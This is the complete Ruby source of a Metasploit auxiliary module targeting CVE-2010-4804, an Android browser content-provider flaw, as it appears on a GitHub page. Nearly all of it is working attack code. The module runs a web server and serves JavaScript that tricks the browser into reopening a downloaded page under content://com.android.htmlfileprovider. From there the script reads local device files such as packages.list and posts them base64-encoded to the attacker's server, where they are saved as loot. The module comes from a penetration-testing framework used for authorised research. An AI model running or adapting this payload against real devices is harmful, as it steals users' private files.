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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/gather/android_htmlfileprovider.rb
Views: 11780
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Auxiliary

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  include Msf::Exploit::Remote::HttpServer::HTML

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  include Msf::Auxiliary::Report

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'        => 'Android Content Provider File Disclosure',

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      'Description' => %q{

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          This module exploits a cross-domain issue within the Android web browser to

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        exfiltrate files from a vulnerable device.

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      },

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      'Author'      =>

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        [

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          'Thomas Cannon',   # Original discovery, partial disclsoure

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          'jduck'            # Metasploit module

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        ],

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      'License'     => MSF_LICENSE,

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      'Actions'     =>

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        [

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          [ 'WebServer' ]

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        ],

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      'PassiveActions' =>

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        [

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          'WebServer'

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        ],

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      'References' =>

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        [

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          [ 'CVE', '2010-4804' ],

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          [ 'URL', 'http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/' ]

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        ],

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      'DefaultAction'  => 'WebServer'))

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    register_options(

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      [

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        OptString.new('FILES', [ false, "The remote file(s) to steal",

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          '/proc/version,/proc/self/status,/data/system/packages.list' ])

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      ])

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  end

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  def on_request_uri(cli, request)

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    print_status("Request '#{request.method} #{request.uri}'")

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    selected_headers = [ 'user-agent', 'origin', 'referer' ]

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    request.headers.each_key { |k|

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      next if not selected_headers.include? k.downcase

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      print_status("#{k}: #{request.headers[k]}")

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    }

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    return process_post(cli, request) if request.method == "POST"

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    # Only GET requests now..

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    if request.uri =~ /\.html?$/

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      filename = request.uri.split('/').last

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      target_files = datastore['FILES'].split(',').map{ |e|

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        "'%s'" % e

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      }.join(',')

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      upload_url = get_uri(cli)

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      upload_url << '/' if upload_url[-1,1] != '/'

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      upload_url << 'q'

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      html = <<-EOS

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<html>

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<body>

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<script lang=javascript>

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var target_files = Array(#{target_files});

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var results = new Array();

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function addField(form, name, value) {

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  var hf = document.createElement('input');

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  hf.setAttribute('type', 'hidden');

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  hf.setAttribute('name', name);

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  hf.setAttribute('value', value);

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  form.appendChild(hf);

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}

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function uploadFiles(files) {

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  var form = document.createElement('form');

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  form.setAttribute('method', 'POST');

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  form.setAttribute('action', '#{upload_url}');

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  var i = 0;

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  for (var fn in files) {

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    addField(form, 'f'+i, btoa(fn));

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    addField(form, 'd'+i, files[fn]);

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    i += 1;

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  }

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  document.body.appendChild(form);

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  form.submit();

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}

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for (var fn in target_files) {

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  fn = target_files[fn];

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  xh = new XMLHttpRequest();

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  xh.open('GET', fn, false);

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  xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }

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  xh.send();

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}

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uploadFiles(results);

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</script>

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</body>

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</html>

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EOS

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      print_status("Sending payload HTML ...")

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      send_response_html(cli, html,

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        {

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          'Cache-Control' => 'public',

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          'Content-Description' => 'File Transfer',

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          'Content-Disposition' => "attachment; filename=#{filename}",

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          'Content-Transfer-Encoding' => 'binary',

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          'Content-Type' => 'text/html'

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        })

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    else

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      payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))

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      html = <<-EOS

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<html>

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<body>

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<script lang=javascript>

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setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);

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setTimeout("document.location = '#{payload_fn}.html';", 500);

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</script>

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</body>

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</html>

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EOS

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      print_status("Sending initial HTML ...")

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      send_response_html(cli, html)

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    end

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  end

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  def process_post(cli, request)

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    results = {}

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    if request and request.body

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      request.body.split('&').each { |var|

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        parts = var.split('=', 2)

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        if parts.length != 2

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          print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")

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        else

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          fln,fld = parts

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          fld = Rex::Text.uri_decode(fld).unpack('m').first

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          start = fln.slice!(0,1)

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          if start == "f"

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            results[fln] ||= {}

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            results[fln][:filename] = fld

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          elsif start == "d"

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            results[fln] ||= {}

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            results[fln][:data] = fld

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          end

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        end

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      }

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    end

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    results.each_key { |k|

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      e = results[k]

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      fn = e[:filename]

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      data = e[:data]

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      print_good("#{fn.inspect} contains #{data.inspect}")

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      fn.gsub!(/[\/\\]/, '.')

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      fn.gsub!(/^\./, '')

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      store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)

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    }

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    send_response_html(cli, "thx")

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  end

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  def run

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    exploit()

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  end

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end

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